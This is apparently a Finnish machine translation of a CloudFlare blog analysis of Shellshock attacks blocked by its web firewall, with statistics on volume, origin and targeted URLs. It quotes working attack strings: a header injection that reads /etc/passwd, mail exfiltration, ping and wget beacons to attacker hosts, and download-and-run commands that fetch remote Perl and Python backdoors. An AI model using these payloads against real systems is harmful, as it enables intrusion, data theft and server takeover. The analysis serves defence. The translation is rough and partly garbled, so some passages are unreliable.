Inside Shellshock: How hackers are using it to exploit systems

viime viikon keskiviikkona, yksityiskohdat Shellshock bash bug paljastui. Tämä bugi aloitti häiriön tietokoneiden, palvelimien, reitittimien, palomuurien ja muiden tietokonelaitteiden paikkaamiseksi käyttäen haavoittuvia versioita bashista.

CloudFlare otti heti käyttöön Pro -, Business-ja yritysasiakkaiden suojauksen Web-sovelluksemme palomuurin kautta. Sunnuntaina, tutkittuamme ongelman laajuutta,ja tarkasteltuamme WAF: n pysäyttämien hyökkäysten lokit, päätimme ottaa käyttöön suojan myös vapaalle suunnitelmallemme.

siitä lähtien olemme seuranneet pysäyttämiämme hyökkäyksiä ymmärtääksemme, miltä ne näyttävät ja mistä ne tulevat. Havaintojemme perusteella on selvää, että hakkerit käyttävät shellshockia hyväkseen maailmanlaajuisesti.


(CC BY 2.0 aussiegall)

Eject

Shellshock-ongelma on esimerkki mielivaltaisen koodin suorituksen (ACE) haavoittuvuudesta. Tyypillisesti ACE-haavoittuvuushyökkäykset suoritetaan käynnissä oleviin ohjelmiin, ja ne vaativat erittäin hienostunutta ymmärrystä koodin suorituksen sisäisistä osista, muistin asettelusta ja kokoonpanokielestä—lyhyesti sanottuna tämän tyyppinen hyökkäys vaatii asiantuntijan.

hyökkääjä käyttää myös ACE-haavoittuvuutta ladatakseen tai ajaakseen ohjelman, joka antaa heille yksinkertaisen tavan hallita kohdekonetta. Tämä saavutetaan usein ajamalla ”kuorta”. Komentotulkki on komentorivi, johon komennot voidaan syöttää ja suorittaa.

ShellShock-haavoittuvuus on suuri ongelma, koska se poistaa erikoistietämyksen tarpeen ja tarjoaa yksinkertaisen (valitettavasti hyvin yksinkertaisen) tavan ottaa toinen tietokone (kuten web-palvelin) hallintaansa ja saada se toimimaan koodina.

oletetaan hetki, että haluat hyökätä WWW-palvelimeen ja saada sen CD-tai DVD-aseman liukumäen auki. Linuxissa on oikeasti komento, joka tekee sen: /bin/eject. Jos Web-palvelin on haavoittuvainen Shellshockille, voit hyökätä sitä vastaan lisäämällä taikajonon () { :; };/bin/eject ja lähettämällä sen sitten KOHDETIETOKONEELLE HTTP: n kautta. Normaalisti User-Agent merkkijono tunnistaisi käyttämäsi selaimen tyypin, mutta Shellshock-haavoittuvuuden tapauksessa se voidaan asettaa sanomaan mitä tahansa.

esimerkiksi, jos example.com oli haavoittuva, niin

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

riittäisi todella tekemään CD-tai DVD-aseman poiston.

valvoessamme ShellShock-hyökkäyksiä, jotka olemme estäneet, olemme itse asiassa nähneet jonkun yrittävän juuri sitä hyökkäystä. Niin, jos suoritat web-palvelimen ja yhtäkkiä löytää poistetun DVD se voi olla osoitus siitä, että kone on altis Shellshock.

Miksi tuo yksinkertainen hyökkäys toimii

kun WWW-palvelin vastaanottaa sivun pyynnön, on kolme osaa, jotka voivat olla alttiita Shellshock-hyökkäykselle: pyynnön URL, otsikot, jotka lähetetään yhdessä URL, ja mitä kutsutaan ”argumentit” (kun kirjoitat nimesi ja osoitteesi web-sivuston se yleensä lähetetään argumentteina pyynnön).

esimerkiksi tässä on varsinainen HTTP-pyyntö, joka hakee CloudFlaren kotisivun:

tässä tapauksessa URL on / (pääsivu) ja otsikot ovat Accept-EncodingAccept-Language jne. Nämä otsikot antavat www-palvelimelle tietoa selaimeni ominaisuuksista, suosimastani kielestä, etsimästäni verkkosivustosta ja käyttämästäni selaimesta.

ei ole harvinaista, että nämä muuttuvat muuttujiksi web-palvelimen sisällä, jotta WWW-palvelin voi tutkia niitä. (WWW-palvelin saattaa haluta tietää, mitä minun ensisijainen kieli on, jotta se voi päättää, miten vastata minulle).

esimerkiksi CloudFlaren kotisivun pyyntöön vastanneen WWW-palvelimen sisällä on mahdollista, että seuraavat muuttujat määritellään kopioimalla pyynnön otsikot merkki merkiltä.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

niin kauan kuin nämä muuttujat pysyvät www-palvelinohjelmiston sisällä eivätkä siirry muille www-palvelimella toimiville ohjelmille, palvelin ei ole haavoittuvainen.

Shellshock tapahtuu, kun muuttujat johdetaan ”bash” – nimiseen komentotulkkiin. Bash on yleinen kuori, jota käytetään Linux-järjestelmissä. Www-palvelimet tarvitsevat usein muita ohjelmia vastatakseen pyyntöön, ja on tavallista, että nämä muuttujat siirretään bashiin tai toiseen komentotulkkiin.

Shellshock-ongelma ilmenee erityisesti, kun hyökkääjä muokkaa origin HTTP-pyyntöä sisältääkseen yllä mainitun magian () { :; }; merkkijono.

Oletetaan, että hyökkääjä muuttaa yllä olevan käyttäjä-agentti-otsikon Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 yksinkertaisesti () { :; }; /bin/eject. Tämä luo seuraavan muuttujan WWW-palvelimen sisään:

HTTP_USER_AGENT=() { :; }; /bin/eject

jos kyseinen muuttuja joutuu WWW-palvelimen kautta bashiin, ilmenee Shellshock-ongelma. Tämä johtuu siitä, että bashilla on erityiset säännöt () { :; };alkavan muuttujan käsittelyyn. Sen sijaan, että bash käsittelisi muuttujaa HTTP_USER_AGENT merkistönä, jolla ei ole erityistä merkitystä, bash tulkitsee sen komennoksi, joka on suoritettava (olen jättänyt pois syvästi TEKNISET selitykset siitä, miksi () { :; }; saa Bashin käyttäytymään näin selvyyden vuoksi tässä esseessä.)

ongelmana on, että HTTP_USER_AGENT tuli User-Agent otsakkeesta, jota hyökkääjä hallitsee, koska se tulee WWW-palvelimelle HTTP-pyynnössä. Ja se on resepti katastrofi, koska hyökkääjä voi tehdä haavoittuva palvelin ajaa minkä tahansa komennon se haluaa (katso esimerkkejä alla).

ratkaisu on päivittää bash versioon, joka ei tulkitse () { :; }; erityisellä tavalla.

jos hyökkäykset tulevat

kun otimme käyttöön suojan kaikille asiakkaille, otimme käyttöön mittarin, jonka avulla pystyimme seuraamaan Yritettyjen Shellshock-hyökkäysten määrää. He kaikki saivat HTTP 403 Kielletty virhekoodi, mutta pidimme loki milloin ne tapahtuivat ja perustiedot hyökkäys.

Tämä kaavio näyttää CloudFlare-verkon hyökkäysten määrän sekunnissa sen jälkeen, kun kaikille asiakkaille on otettu käyttöön suojaus.

siitä hetkestä, kun CloudFlare kytki Shellshock-suojauksemme päälle, aamuvarhaiseen asti näimme 10-15 hyökkäystä sekunnissa. Hyökkäysmäärän mukaisessa järjestyksessä pyyntöjä tuli Ranskasta (80%), Yhdysvalloista (7%), Hollannista (7%) ja sitten pienemmistä määristä monista muista maista.

noin kello 0100 Tyynellämerellä (1000 Pariisissa) hyökkäykset Ranskasta loppuivat. Tällä hetkellä hyökkäyksiä on noin 5 sekunnissa. Kirjoitushetkellä olemme estäneet reilusti yli 1,1 metrin Shellshock-hyökkäykset.

anna mielikuvituksesi riehua

koska haavoittuvia koneita on niin helppo hyökätä Shellshockilla, ja koska haavoittuva kone suorittaa minkä tahansa sille lähetetyn komennon, hyökkääjät ovat antaneet mielikuvituksensa riehua keinoilla manipuloida tietokoneita etänä.

CloudFlaren WAF kirjaa syyn sille, miksi se esti pyynnön, jonka avulla voimme purkaa ja analysoida käytössä olevia Shellshock-merkkijonoja. Shellshockia käytetään pääasiassa tiedusteluun: yksityisten tietojen poimimiseen ja hyökkääjien valtaamiseen palvelimilla.

suurin osa Shellshock-komennoista ruiskutetaan HTTP User-Agent-ja Referer-otsakkeilla, mutta hyökkääjät käyttävät myös GET-ja POST-argumentteja ja muita satunnaisia HTTP-otsakkeita.

yksityisten tietojen saamiseksi hyökkääjät käyttävät paria tekniikkaa. Yksinkertaisimmat purkuhyökkäykset ovat muotoa:

() {:;}; /bin/cat /etc/passwd

, joka lukee salasanatiedoston , ja lisää sen verkkopalvelimen antamaan vastaukseen. Joten hyökkääjä injektoimalla tämän koodin kautta Shellshock haavoittuvuus näkisi salasanatiedoston polkumyynnillä ulos heidän näytön osana web-sivun palasi.

yhdessä hyökkäyksessä he vain lähettävät yksityisiä tiedostoja itselleen. Tietojen saamiseksi ulos sähköpostilla hyökkääjät käyttävät mail komentoa näin:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

että komento suoritetaan ensin whoami saadakseen selville www-palvelinta käyttävän käyttäjän nimen. Tämä on erityisen hyödyllistä, koska jos web-palvelin ajetaan root (pääkäyttäjä, joka voi tehdä mitä tahansa) sitten palvelin on erityisen rikas kohde.

sen jälkeen se lähettää käyttäjänimen sekä hyökkäyksen kohteena olevan verkkosivuston nimen (example.com yllä) sähköpostitse. Sivuston nimi näkyy sähköpostin aiherivillä.

vapaa-ajallaan hyökkääjä voi kirjautua sähköpostiinsa ja selvittää, mitkä sivustot olivat haavoittuvia. Samalla sähköpostitekniikalla voidaan poimia tietoja kuten salasanatiedosto.


(CC BY 2.0 JD Hancock)

tiedustelu

ylivoimaisesti suosituin näkemämme hyökkäys (noin 83% kaikista hyökkäyksistä) on nimeltään ”tiedustelu”. Tiedusteluhyökkäyksissä hyökkääjä lähettää käskyn, joka lähettää viestin kolmannen osapuolen koneelle. Kolmannen osapuolen kone laatii tämän jälkeen listan kaikista siihen yhteyttä ottaneista haavoittuvista koneista.

aiemmin olemme nähneet listoja vaarantuneista koneista, jotka on muutettu botneteiksi DDoS -, spam-tai muihin tarkoituksiin.

suosittu tiedustelutekniikka käyttää ping-käskyä saadakseen haavoittuvan koneen lähettämään yhden paketin (jota kutsutaan pingiksi) kolmannen osapuolen palvelimelle, jota hyökkääjä hallitsee. Hyökkäysmerkkijono näyttää tältä:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

ping komentoa käytetään yleensä testaamaan, onko kone ”elossa” vai verkossa (elävä kone vastaa omalla pingillään). Jos web-palvelin on haavoittuvainen Shellshockille, se lähettää yhden ping-paketin (-c 1) attacker-Machinelle.com, jonka hyötykuorma on asetettu -p. Hyötykuorma on yksilöllinen tunniste, jonka hyökkääjä LOI, jotta he voivat jäljittää pingin haavoittuvalle verkkosivustolle.

toinen haavoittuvien palvelimien tunnistamiseen käytetty tekniikka on saada WWW-palvelin lataamaan verkkosivu hyökkääjän hallitsemalta koneelta. Hyökkääjä voi sitten katsoa www-palvelinlokejaan selvittääkseen, mikä kone oli haavoittuva. Tämä hyökkäys toimii lähettämällä Shellshock merkkijono kuten:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

hyökkääjä katsoo www-palvelinlokiin attacker-controlled.com ilmoittautumisia varten. Ladatulla sivulla hyökkääjä paljastaa hyökkäyksen kohteena olevan sivuston nimen. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== on todellisuudessa koodi, joka osoittaa, että hyökätty sivusto oli example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== on oikeastaan base64-koodattu merkkijono. Kun se on dekoodattu, se kuuluu:

example.comShellShockSalt

tästä merkkijonosta hyökkääjä voi selvittää, onko heidän hyökkäyksensä esim.com onnistui, ja jos näin on, he voivat palata myöhemmin hyödyntämään kyseistä sivustoa. Vaikka olen korvannut kohteen verkkotunnuksen, näemme luonnossa todellisia esimerkkejä käyttäen ShellShockSalt hasiksen suolana.

palvelunestohyökkäys

toinen Shellshock-hyökkäys käyttää tätä merkkijonoa

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

se yrittää ajaa sleep komentoa kolmella eri tavalla (koska järjestelmissä on hieman erilaisia konfiguraatioita, uni saattaa löytyä hakemistoista /bin tai /sbin tai /usr/bin). Kumpi uni se toimii, se aiheuttaa palvelimen odottaa 20 sekuntia ennen vastaamista . Tämä kuluttaa koneen resursseja, koska sleep suorittava säie tai prosessi ei tee 20 sekuntiin mitään muuta.

Tämä on ehkä kaikkein yksinkertaisin palvelunestohyökkäys. Hyökkääjät yksinkertaisesti käskevät konetta nukkumaan jonkin aikaa. Lähetä tarpeeksi noita komentoja, ja kone voi olla sidottu tekemättä mitään ja kykenemätön huoltamaan oikeutettuja pyyntöjä.


(CC BY 2.0 peter castleton)

haltuunotto

noin 8% tähänastisista hyökkäyksistä on tähdätty suoraan palvelimen haltuunottoon. Kauko-ohjaushyökkäykset näyttävät tältä:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Tämä komento yrittää kahden ohjelman (wget ja curl) avulla ladata ohjelman palvelimelta, jota hyökkääjä ohjaa. Ohjelma on kirjoitettu Perl-kielellä, ja kun se on ladattu, se suoritetaan välittömästi. Tämä ohjelma määrittää hyökkääjän etäyhteyden haavoittuvalle www-palvelimelle.

toinen hyökkäys käyttää Python-kieltä perustaakseen ohjelman, jota voidaan käyttää minkä tahansa komennon etäajoon haavoittuvassa koneessa:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

cl.py ladattu ohjelma on tehty näyttämään päivitykseltä ClamAV-virustorjuntaohjelmaan. 5 sekunnin viiveen jälkeen hyökkäys puhdistaa itsensä poistamalla ladatun tiedoston (jättäen sen vain muistiin).


(CC BY 2.0 Jeff Taylor)

Kohdevalinta

kun tarkastellaan hyökkäyksen kohteena olevia verkkosivuja ja pyydettyjä URL-osoitteita, on mahdollista tehdä Valistunut arvaus hyökkäyksen kohteena olevista verkkosovelluksista.

hyökkäysten suurimmat URLit ovat: / (23.00%), /cgi-bin-sdb/printenv(15,12%), /cgi-mod/index.cgi (14, 93%), /cgi-sys/entropysearch.cgi (15,20%) ja /cgi-sys/defaultwebpage.cgi (14, 59%). Jotkut näistä URL käytetään suosittuja web-sovelluksia ja jopa laitteisto laite.

hyökkäyksistä näyttää siltä, että 23% kohdistuu Cpanelin webhotellien ohjausohjelmistoon, 15% vanhoihin Apache-asennuksiin ja 15% Barracudan laitteistotuotteisiin, joissa on web-pohjainen käyttöliittymä.

jälkimmäinen on mielenkiintoinen, koska se korostaa sitä, että Shellshock ei ole vain hyökkäys verkkosivuja vastaan: se on hyökkäys kaikkea bashia pyörittävää ja Internetissä saavutettavaa vastaan. Siihen voisi kuulua laitteita, digisovittimia, kannettavia tietokoneita, ehkä jopa puhelimia.

Vastaa

Sähköpostiosoitettasi ei julkaista.